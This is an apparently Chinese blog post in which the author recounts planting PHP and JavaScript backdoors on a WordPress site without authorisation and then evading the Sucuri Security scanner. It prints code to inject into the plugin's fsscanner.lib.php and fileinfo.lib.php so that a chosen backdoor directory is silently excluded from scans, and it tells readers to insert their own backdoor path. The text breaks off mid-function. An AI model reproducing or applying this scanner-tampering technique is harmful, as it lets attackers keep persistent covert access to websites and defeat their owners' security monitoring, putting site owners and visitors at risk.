如果你喜欢本文,请分享到朋友圈,想要获得更多信息,请关注我。
话说某日,老N接到一个业务,帮撸某国外大麻销售网站,做个访客记录劫持,方便GOV们对这些买家的情况做下劫持。
我们看下流量,的确是夸张到可怕。但是后门只放了一天,就被对方发现了。
利用之前漏洞留的密码账号,我们继续有权限进入后台,但是基本上对网站上的文件的修改,总是第一时间被发现。
如何保住马呢?
老N利用仅存的悄悄添加的一个后台管理账号进入系统后台
做为WP几年玩家,留意到一个安全插件sucuri security
我们点开看看
这里把老N的PHP后门一锅端了
然后看下JS记录用户地理位置的后门
也都记录在案。
估摸这个是通过对比正常WP文件进行查杀
Setting部分,是这款插件的配置部分,有个Scanner扫描设置,可以配置扫码的设置
可以对路径和文件进行排除
这个时候思路就有了,通过修改文件的代码,把排除的文件直接修改进去,不通过后台的设置,这样规避他们的扫描
我们先本机下载这个插件,查找关键的代码处。
本机搭建,顺便安装插件做个测试
先抓包,看POST了什么数据
sucuriscan_ignorefolder 追踪下载的插件数据,查看这里是怎么存储的。
没有明显的SQL存储的?
查找一下,真的没进SQL数据库,那么只能从文件了。
用工具查一下
/wp-content/uploads/sucuri/sucuri-ignorescanning.php
原来是存储到这个路径。我们继续看是如何调用这个文件呢?
我们看下插件的src目录,里面有个scanner有关的PHP
fsscanner.lib.php
打开文件,里面有个代码段
public static function getIgnoredDirectories()
{
$response = array(
'raw' => array(),
'checksums' => array(),
'directories' => array(),
'ignored_at_list' => array(),
);
$cache = new SucuriScanCache('ignorescanning');
$cache_lifetime = 0; // It is not necessary to expire this cache.
$entries = $cache->getAll($cache_lifetime, 'array');
if ($entries) {
$response['raw'] = $entries;
foreach ($entries as $checksum => $data) {
if (isset($data['directory_path']) && isset($data['ignored_at'])) {
$response['checksums'][] = $checksum;
$response['directories'][] = $data['directory_path'];
$response['ignored_at_list'][] = $data['ignored_at'];
}
}
}
return $response;
}
直接return $response前面加一段
$arraya = array(
"directory_path" => "wp-content",
"ignored_at" => 1562818372,
"resource_type" => "unknown",
);
$arrayb= array(
"6a88b53453fe3f1cc5670295d7979541" =>$arraya
);
if ($arrayb) {
$response['raw'] = $arrayb;
foreach ($arrayb as $checksum => $data) {
if (isset($data['directory_path']) && isset($data['ignored_at'])) {
$response['checksums'][] = $checksum;
$response['directories'][] = $data['directory_path'];
$response['ignored_at_list'][] = $data['ignored_at'];
}
}
}
不过测试的时候,发现,这个只是后台读取的
我们继续跟进这个代码,看哪里有调用
看来此处就是关键了
我们看到代码中有
private function ignoreFolder($path)
{
$content = basename(WP_CONTENT_DIR);
return (bool) ($this->ignore_directories && (
strpos($path, '/.hg') !== false
|| strpos($path, '/.git') !== false
|| strpos($path, '/.svn') !== false
|| strpos($path, $content . '/backup') !== false
|| strpos($path, $content . '/cache') !== false
|| strpos($path, $content . '/uploads') !== false
|| strpos($path, $content . '/w3tc') !== false
));
}
这里可以动手脚
其次,我们看下调用上面代码“getIgnoredDirectories”的那个地方
也是通过那个ignoreFolder来判定
那么我们怎么弄呢?
直接修改插件目录的src下的fileinfo.lib.php
使用时,把wp-content改成你后门存放的路径即可
*/
private function ignoreFolder($path)
{
$content = basename(WP_CONTENT_DIR);